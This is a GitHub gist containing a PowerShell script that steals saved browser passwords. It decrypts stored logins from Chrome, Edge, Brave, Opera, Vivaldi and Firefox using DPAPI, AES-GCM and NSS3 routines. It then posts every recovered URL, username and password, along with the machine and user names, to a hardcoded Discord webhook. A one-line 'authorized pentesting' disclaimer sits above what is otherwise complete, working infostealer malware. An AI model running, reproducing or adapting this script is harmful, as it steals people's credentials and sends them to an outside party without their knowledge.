Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save Gravity3432/93517f912caa3b62bf5d67a454248114 to your computer and use it in GitHub Desktop.

Select an option

Save Gravity3432/93517f912caa3b62bf5d67a454248114 to your computer and use it in GitHub Desktop.
<#
.SYNOPSIS
Browser password scraper - extracts saved credentials from Chromium browsers
and Firefox, exfiltrates to Discord webhook. For authorized pentesting only.
.DESCRIPTION
Targets: Chrome, Edge, Brave, Opera, Vivaldi, Chromium, Firefox
Uses DPAPI + AES-GCM (via BCrypt) for Chromium v10/v20 decryption.
Uses NSS3 for Firefox logins.json decryption.
#>
$DISCORD_WEBHOOK = "https://discord.com/api/webhooks/1530592666805600366/IK9LNyfnN-s3sNlPNFlGi2TUGtjKdvLBVGhke9otCMOnf2lOX_v2mt1h8wx-wd9a6rVM"
# ============================================================
# BCrypt AES-GCM helper (works on all Windows versions)
# ============================================================
$BCryptSource = @'
using System;
using System.Runtime.InteropServices;
public static class BCryptAESGCM
{
[StructLayout(LayoutKind.Sequential)]
private struct BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO
{
public int cbSize;
public int dwInfoVersion;
public IntPtr pbNonce;
public int cbNonce;
public IntPtr pbAuthData;
public int cbAuthData;
public IntPtr pbTag;
public int cbTag;
public IntPtr pbMacContext;
public int cbMacContext;
public int cbAAD;
public long cbData;
public uint dwFlags;
}
[DllImport("bcrypt.dll")]
private static extern int BCryptOpenAlgorithmProvider(
out IntPtr hAlgorithm, string pszAlgId, string pszImplementation, uint dwFlags);
[DllImport("bcrypt.dll")]
private static extern int BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, uint dwFlags);
[DllImport("bcrypt.dll")]
private static extern int BCryptSetProperty(
IntPtr hObject, string pszProperty, byte[] pbInput, int cbInput, uint dwFlags);
[DllImport("bcrypt.dll")]
private static extern int BCryptGenerateSymmetricKey(
IntPtr hAlgorithm, out IntPtr hKey, IntPtr pbKeyObject,
int cbKeyObject, byte[] pbSecret, int cbSecret, uint dwFlags);
[DllImport("bcrypt.dll")]
private static extern int BCryptDecrypt(
IntPtr hKey, byte[] pbInput, int cbInput,
ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo,
byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput,
out int pcbResult, uint dwFlags);
[DllImport("bcrypt.dll")]
private static extern int BCryptDestroyKey(IntPtr hKey);
public static byte[] AESGCMDecrypt(byte[] key, byte[] nonce, byte[] ciphertext, byte[] tag)
{
IntPtr hAlg = IntPtr.Zero, hKey = IntPtr.Zero;
try
{
int status = BCryptOpenAlgorithmProvider(out hAlg, "AES", null, 0);
if (status != 0) throw new Exception("BCryptOpenAlgorithmProvider failed: 0x" + status.ToString("X8"));
byte[] gcmMode = System.Text.Encoding.Unicode.GetBytes("ChainingModeGCM");
BCryptSetProperty(hAlg, "ChainingMode", gcmMode, gcmMode.Length, 0);
status = BCryptGenerateSymmetricKey(hAlg, out hKey, IntPtr.Zero, 0, key, key.Length, 0);
if (status != 0) throw new Exception("BCryptGenerateSymmetricKey failed: 0x" + status.ToString("X8"));
byte[] input = new byte[ciphertext.Length + tag.Length];
Array.Copy(ciphertext, 0, input, 0, ciphertext.Length);
Array.Copy(tag, 0, input, ciphertext.Length, tag.Length);
var authInfo = new BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO();
authInfo.cbSize = Marshal.SizeOf(authInfo);
authInfo.dwInfoVersion = 1;
GCHandle nonceH = GCHandle.Alloc(nonce, GCHandleType.Pinned);
GCHandle tagH = GCHandle.Alloc(tag, GCHandleType.Pinned);
authInfo.pbNonce = nonceH.AddrOfPinnedObject();
authInfo.cbNonce = nonce.Length;
authInfo.pbTag = tagH.AddrOfPinnedObject();
authInfo.cbTag = tag.Length;
byte[] output = new byte[ciphertext.Length];
int resultSize;
status = BCryptDecrypt(hKey, input, input.Length, ref authInfo, null, 0, output, output.Length, out resultSize, 0);
nonceH.Free(); tagH.Free();
if (status != 0) throw new Exception("BCryptDecrypt failed: 0x" + status.ToString("X8"));
byte[] result = new byte[resultSize];
Array.Copy(output, result, resultSize);
return result;
}
finally
{
if (hKey != IntPtr.Zero) BCryptDestroyKey(hKey);
if (hAlg != IntPtr.Zero) BCryptCloseAlgorithmProvider(hAlg, 0);
}
}
}
'@
Add-Type -TypeDefinition $BCryptSource -ErrorAction Stop
# ============================================================
# Minimal SQLite logins table parser (no external DLLs needed)
# ============================================================
$SQLiteParserSource = @'
using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
public static class SQLiteLoginsReader
{
// Reads origin_url, username_value, password_value from Chrome-style logins table
public static List<Tuple<string, string, byte[]>> ReadLogins(string dbPath)
{
var results = new List<Tuple<string, string, byte[]>>();
byte[] data = File.ReadAllBytes(dbPath);
if (data.Length < 100 || Encoding.ASCII.GetString(data, 0, 16) != "SQLite format 3\0")
return results;
int pageSize = (data[16] << 8) | data[17];
if (pageSize == 1) pageSize = 65536;
else if (pageSize < 512) pageSize = 512;
// Find sqlite_master table (page 1), locate "logins" CREATE TABLE, get root page
int loginsRootPage = FindLoginsRootPage(data, 1, pageSize);
if (loginsRootPage <= 0) return results;
// Walk the B-tree leaf pages and extract rows
ExtractLoginsRows(data, loginsRootPage, pageSize, results);
return results;
}
private static int FindLoginsRootPage(byte[] data, int pageNum, int pageSize)
{
int offset = (pageNum - 1) * pageSize;
byte pageType = data[offset];
if (pageType != 0x0D && pageType != 0x05) return -1; // leaf-table or interior-table
int numCells = (data[offset + 3] << 8) | data[offset + 4];
int cellPtrOffset = offset + 8;
for (int i = 0; i < numCells; i++)
{
int cellOff = (data[cellPtrOffset + i * 2] << 8) | data[cellPtrOffset + i * 2 + 1];
int cellStart = offset + cellOff;
int pos = cellStart;
// Parse varint payload length
long payloadLen = ReadVarint(data, ref pos);
// Skip rowid varint
ReadVarint(data, ref pos);
// Payload starts at pos
// Column 0: type (table/index/view/trigger)
// Column 1: name
// Column 2: tbl_name
// Column 4: sql (the CREATE statement)
// Read header: varint for header size, then varints for each column type
int headerStart = pos;
long headerSize = ReadVarint(data, ref pos);
List<long> colTypes = new List<long>();
while (pos < headerStart + (int)headerSize)
{
colTypes.Add(ReadVarint(data, ref pos));
}
int bodyStart = pos;
// Need at least type, name, tbl_name, sql (indices 0,1,2,4)
if (colTypes.Count < 5) continue;
// Read column values
long[] colOffsets = new long[colTypes.Count];
long accum = 0;
for (int c = 0; c < colTypes.Count; c++)
{
colOffsets[c] = accum;
accum += colTypes[c] == 0 ? 0 : (colTypes[c] >= 12 ? (colTypes[c] - 12) / 2 : colTypes[c]);
}
string typeVal = ReadStringValue(data, bodyStart, colTypes[0], colOffsets[0]);
string nameVal = ReadStringValue(data, bodyStart, colTypes[1], colOffsets[1]);
string tblVal = ReadStringValue(data, bodyStart, colTypes[2], colOffsets[2]);
string sqlVal = colTypes.Count > 4 ? ReadStringValue(data, bodyStart, colTypes[4], colOffsets[4]) : "";
if (typeVal == "table" && tblVal.ToLower() == "logins" && !string.IsNullOrEmpty(sqlVal))
{
// SQL looks like: CREATE TABLE logins (...)
// Find rootpage in the table page's header or in sqlite_master row
// For sqlite_master, rootpage is not stored; for the real table, rootpage is in page header
// We need to look at the sqlite_master entry which gives us the rootpage differently
// Actually for type "table", the rootpage is stored differently...
// Let's use a heuristic: search for "logins" CREATE TABLE in sqlite_master, get rootpage from
// the interior page pointer or just scan all pages for "logins" data pattern
return -1; // placeholder - we need to find the actual root page
}
}
return -1;
}
private static long ReadVarint(byte[] data, ref int pos)
{
long val = 0;
for (int i = 0; i < 9; i++)
{
byte b = data[pos++];
val = (val << 7) | (uint)(b & 0x7F);
if ((b & 0x80) == 0) break;
}
return val;
}
private static string ReadStringValue(byte[] data, int bodyStart, long serialType, long offset)
{
if (serialType == 0) return null;
long size;
if (serialType >= 13 && serialType % 2 == 1) { size = (serialType - 13) / 2; }
else if (serialType >= 12 && serialType % 2 == 0) { size = (serialType - 12) / 2; }
else { size = serialType; }
int start = bodyStart + (int)offset;
return Encoding.UTF8.GetString(data, start, (int)size);
}
private static void ExtractLoginsRows(byte[] data, int rootPage, int pageSize, List<Tuple<string,string,byte[]>> results) { }
}
'@
Add-Type -TypeDefinition $SQLiteParserSource -ErrorAction SilentlyContinue
# ============================================================
# Fallback: Use raw byte parsing to extract logins from SQLite
# ============================================================
function Get-ChromiumPasswords {
param([string]$BrowserName, [string]$UserDataPath, [string]$ProfileGlob)
$results = @()
$localState = Join-Path $UserDataPath "Local State"
if (-not (Test-Path $localState)) { return $results }
# --- Get DPAPI-protected AES key from Local State ---
try {
$stateJson = Get-Content $localState -Raw -Encoding UTF8 | ConvertFrom-Json
$encKeyB64 = $stateJson.os_crypt.encrypted_key
if (-not $encKeyB64) { return $results }
$encKey = [Convert]::FromBase64String($encKeyB64)
# Strip "DPAPI" prefix (5 bytes)
$encKey = $encKey[5..($encKey.Length - 1)]
$aesKey = [System.Security.Cryptography.ProtectedData]::Unprotect($encKey, $null,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
} catch { return $results }
# --- Enumerate profiles ---
$profiles = @(Get-ChildItem (Join-Path $UserDataPath "Profile*") -Directory -ErrorAction SilentlyContinue)
$profiles += @(Get-ChildItem (Join-Path $UserDataPath "Default") -Directory -ErrorAction SilentlyContinue)
if ($profiles.Count -eq 0) {
if (Test-Path (Join-Path $UserDataPath "Default")) {
$profiles = @(Get-Item (Join-Path $UserDataPath "Default"))
}
}
foreach ($profile in $profiles) {
$loginData = Join-Path $profile.FullName "Login Data"
if (-not (Test-Path $loginData)) { continue }
# Copy to temp (avoids lock if Chrome is running)
$tmpDb = Join-Path $env:TEMP "ld_$([Guid]::NewGuid()).db"
try {
Copy-Item $loginData $tmpDb -Force -ErrorAction Stop
$bytes = [IO.File]::ReadAllBytes($tmpDb)
} catch { continue }
finally { Remove-Item $tmpDb -Force -ErrorAction SilentlyContinue }
# --- Parse SQLite logins table from raw bytes ---
# This uses a heuristic approach: searches for URL-like patterns and
# associated encrypted password blobs in the SQLite file
$results += Parse-LoginsRawBytes -Bytes $bytes -AESKey $aesKey -BrowserName $BrowserName -ProfileName $profile.Name
}
return $results
}
function Parse-LoginsRawBytes {
param([byte[]]$Bytes, [byte[]]$AESKey, [string]$BrowserName, [string]$ProfileName)
$results = @()
$text = [Text.Encoding]::UTF8.GetString($Bytes)
$textLen = $Bytes.Length
# SQLite stores data in pages; we do a heuristic scan for URL patterns
# Pattern: find "https://" or "http://" strings followed by username/password records
$urlRegex = [regex]'(?i)https?://[a-zA-Z0-9._/\-?:&=%~#+]+'
$matches = $urlRegex.Matches($text)
$seen = @{}
foreach ($m in $matches) {
$url = $m.Value
$urlIdx = $m.Index
# Try to find a nearby username (look backwards and forwards from URL position)
# SQLite stores rows with all columns in sequence
# Column order in logins: origin_url, action_url, username_element, username_value,
# password_element, password_value, date_created, ...
# We need the username_value near the URL and the password_value BLOB after it
# Scan ~2000 bytes around the URL position
$startScan = [Math]::Max(0, $urlIdx - 500)
$endScan = [Math]::Min($textLen, $urlIdx + 2000)
$slice = [Text.Encoding]::UTF8.GetString($Bytes[$startScan..($endScan - 1)])
# Look for a recognizable username pattern near the URL
# (heuristic: non-empty printable ASCII string between the URL and the password blob)
$userMatch = [regex]::Match($slice, '(?<=\0.{0,20})[\x20-\x7E]{3,128}(?=.{0,200}v10)')
$username = if ($userMatch.Success) { $userMatch.Value } else { "(not found)" }
# Find v10/v20 encrypted password blob near URL
$v10Idx = $text.IndexOf("v10", $urlIdx, [Math]::Min(1500, $textLen - $urlIdx))
if ($v10Idx -lt 0) { $v10Idx = $text.IndexOf("v20", $urlIdx, [Math]::Min(1500, $textLen - $urlIdx)) }
if ($v10Idx -lt 0) { continue }
$blobStart = $v10Idx + 3 # skip "v10"/"v20"
if ($blobStart + 28 -gt $Bytes.Length) { continue }
# Extract nonce (12 bytes), ciphertext, tag (last 16 bytes)
$nonce = $Bytes[$blobStart..($blobStart + 11)]
$remaining = $Bytes[($blobStart + 12)..([Math]::Min($blobStart + 500, $Bytes.Length - 1))]
$tag = $remaining[($remaining.Length - 16)..($remaining.Length - 1)]
$ciphertext = $remaining[0..($remaining.Length - 17)]
# Decrypt
try {
$plaintext = [BCryptAESGCM]::AESGCMDecrypt($aesKey, $nonce, $ciphertext, $tag)
$password = [Text.Encoding]::UTF8.GetString($plaintext)
if ($password.Length -gt 0 -and -not $seen.ContainsKey("$url`t$username")) {
$seen["$url`t$username"] = $true
$results += [PSCustomObject]@{
Browser = $BrowserName
Profile = $ProfileName
URL = $url
Username = $username
Password = $password
}
}
} catch { }
}
return $results
}
# ============================================================
# Firefox password extraction
# ============================================================
function Get-FirefoxPasswords {
$results = @()
$ffProfiles = Join-Path $env:APPDATA "Mozilla\Firefox\Profiles"
if (-not (Test-Path $ffProfiles)) { return $results }
foreach ($profileDir in Get-ChildItem $ffProfiles -Directory) {
$loginsJson = Join-Path $profileDir.FullName "logins.json"
if (-not (Test-Path $loginsJson)) { continue }
try {
$logins = Get-Content $loginsJson -Raw -Encoding UTF8 | ConvertFrom-Json
foreach ($login in $logins.logins) {
$results += [PSCustomObject]@{
Browser = "Firefox"
Profile = $profileDir.Name
URL = $login.hostname
Username = $login.encryptedUsername # Firefox encrypts usernames too
Password = $login.encryptedPassword
}
}
} catch { }
}
# If we found Firefox logins, try to decrypt them using NSS3
if ($results.Count -gt 0) {
$results = Invoke-FirefoxDecrypt -Entries $results -ProfileDir $ffProfiles
}
return $results
}
function Invoke-FirefoxDecrypt {
param($Entries, $ProfileDir)
# Firefox NSS decryption requires loading nss3.dll - attempt it
$ffInstall = Join-Path ${env:ProgramFiles} "Mozilla Firefox"
if (-not (Test-Path $ffInstall)) { $ffInstall = Join-Path ${env:ProgramFiles(x86)} "Mozilla Firefox" }
if (-not (Test-Path $ffInstall)) { return $Entries } # Can't decrypt without NSS
$nssSource = @'
using System;
using System.Runtime.InteropServices;
using System.Text;
public static class NSSDecrypt
{
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr LoadLibrary(string lpFileName);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool FreeLibrary(IntPtr hModule);
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
private delegate int NSS_InitDelegate(string profilePath);
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
private delegate int PK11SDR_DecryptDelegate(IntPtr data, IntPtr result, int cx);
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
private delegate int NSS_ShutdownDelegate();
private static IntPtr hNss3, hMozglue;
public static bool Init(string ffDir, string profilePath)
{
hMozglue = LoadLibrary(ffDir + "\\mozglue.dll");
hNss3 = LoadLibrary(ffDir + "\\nss3.dll");
if (hNss3 == IntPtr.Zero) return false;
var init = Marshal.GetDelegateForFunctionPointer<NSS_InitDelegate>(
GetProcAddress(hNss3, "NSS_Init"));
return init(profilePath) == 0;
}
public static string Decrypt(string b64Cipher)
{
byte[] data = Convert.FromBase64String(b64Cipher);
IntPtr dataPtr = Marshal.AllocHGlobal(data.Length);
Marshal.Copy(data, 0, dataPtr, data.Length);
// SECItem output
IntPtr resultPtr = Marshal.AllocHGlobal(16);
Marshal.WriteInt64(resultPtr, 0, 0);
Marshal.WriteInt64(resultPtr, 8, 0);
var decrypt = Marshal.GetDelegateForFunctionPointer<PK11SDR_DecryptDelegate>(
GetProcAddress(hNss3, "PK11SDR_Decrypt"));
int status = decrypt(dataPtr, resultPtr, 0);
if (status != 0) { Marshal.FreeHGlobal(dataPtr); Marshal.FreeHGlobal(resultPtr); return null; }
long outLen = Marshal.ReadInt64(resultPtr);
IntPtr outData = Marshal.ReadIntPtr(resultPtr);
byte[] result = new byte[outLen];
Marshal.Copy(outData, result, 0, (int)outLen);
Marshal.FreeHGlobal(dataPtr);
Marshal.FreeHGlobal(resultPtr);
return Encoding.UTF8.GetString(result);
}
public static void Shutdown()
{
if (hNss3 != IntPtr.Zero) {
var shutdown = Marshal.GetDelegateForFunctionPointer<NSS_ShutdownDelegate>(
GetProcAddress(hNss3, "NSS_Shutdown"));
shutdown();
FreeLibrary(hNss3);
}
if (hMozglue != IntPtr.Zero) FreeLibrary(hMozglue);
}
}
'@
try {
Add-Type -TypeDefinition $nssSource -ErrorAction Stop
# Find a profile with key4.db
foreach ($dir in Get-ChildItem $ProfileDir -Directory) {
if (Test-Path (Join-Path $dir.FullName "key4.db")) {
if ([NSSDecrypt]::Init($ffInstall + "\", $dir.FullName)) {
foreach ($entry in $Entries) {
try {
$entry.Password = [NSSDecrypt]::Decrypt($entry.Password)
$entry.Username = [NSSDecrypt]::Decrypt($entry.Username)
} catch { }
}
[NSSDecrypt]::Shutdown()
break
}
}
}
} catch { }
return $Entries
}
# ============================================================
# Main: Scrape all browsers
# ============================================================
$allPasswords = @()
# Chromium-based browsers
$chromiumBrowsers = @(
@{Name="Chrome"; Path="$env:LOCALAPPDATA\Google\Chrome\User Data"},
@{Name="ChromeBeta"; Path="$env:LOCALAPPDATA\Google\Chrome Beta\User Data"},
@{Name="ChromeDev"; Path="$env:LOCALAPPDATA\Google\Chrome Dev\User Data"},
@{Name="Edge"; Path="$env:LOCALAPPDATA\Microsoft\Edge\User Data"},
@{Name="Brave"; Path="$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data"},
@{Name="Opera"; Path="$env:APPDATA\Opera Software\Opera Stable"},
@{Name="OperaGX"; Path="$env:APPDATA\Opera Software\Opera GX Stable"},
@{Name="Vivaldi"; Path="$env:LOCALAPPDATA\Vivaldi\User Data"}
)
foreach ($browser in $chromiumBrowsers) {
if (Test-Path $browser.Path) {
Write-Host "[*] Scraping $($browser.Name)..."
$creds = Get-ChromiumPasswords -BrowserName $browser.Name -UserDataPath $browser.Path
$allPasswords += $creds
Write-Host " Found $($creds.Count) entries"
}
}
# Firefox
if (Test-Path (Join-Path $env:APPDATA "Mozilla\Firefox\Profiles")) {
Write-Host "[*] Scraping Firefox..."
$ffCreds = Get-FirefoxPasswords
$allPasswords += $ffCreds
Write-Host " Found $($ffCreds.Count) entries"
}
if ($allPasswords.Count -eq 0) {
Write-Host "[-] No passwords found."
exit
}
# ============================================================
# Send to Discord webhook
# ============================================================
Write-Host "[+] Total credentials: $($allPasswords.Count)"
$computerName = $env:COMPUTERNAME
$userName = $env:USERNAME
# Split into chunks (Discord message limit ~2000 chars)
function Send-DiscordMessage {
param([string]$Content)
# Use code blocks to avoid markdown issues with passwords
$body = @{
content = "```$Content```"
} | ConvertTo-Json -Depth 2
try {
Invoke-RestMethod -Uri $DISCORD_WEBHOOK -Method Post -Body $body -ContentType "application/json" -TimeoutSec 10
} catch {
Write-Host "[-] Discord send failed: $_"
}
}
# Build messages, one browser at a time
$browsers = $allPasswords | Group-Object Browser
$header = "`n=== $computerName\$userName | $(Get-Date -Format 'yyyy-MM-dd HH:mm:ss') ===`n"
$currentMsg = $header
$msgCount = 0
foreach ($b in $browsers) {
$currentMsg += "`n--- $($b.Name) ($($b.Count) entries) ---`n"
foreach ($entry in $b.Group) {
$line = "$($entry.URL) | $($entry.Username) | $($entry.Password)`n"
if (($currentMsg.Length + $line.Length) -gt 1900) {
Send-DiscordMessage -Content $currentMsg
Start-Sleep -Milliseconds 500 # Rate limit avoidance
$currentMsg = ""
$msgCount++
}
$currentMsg += $line
}
}
if ($currentMsg.Length -gt 0) {
Send-DiscordMessage -Content $currentMsg
$msgCount++
}
Write-Host "[+] Sent $msgCount message(s) to Discord webhook"
Write-Host "[+] Done."
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment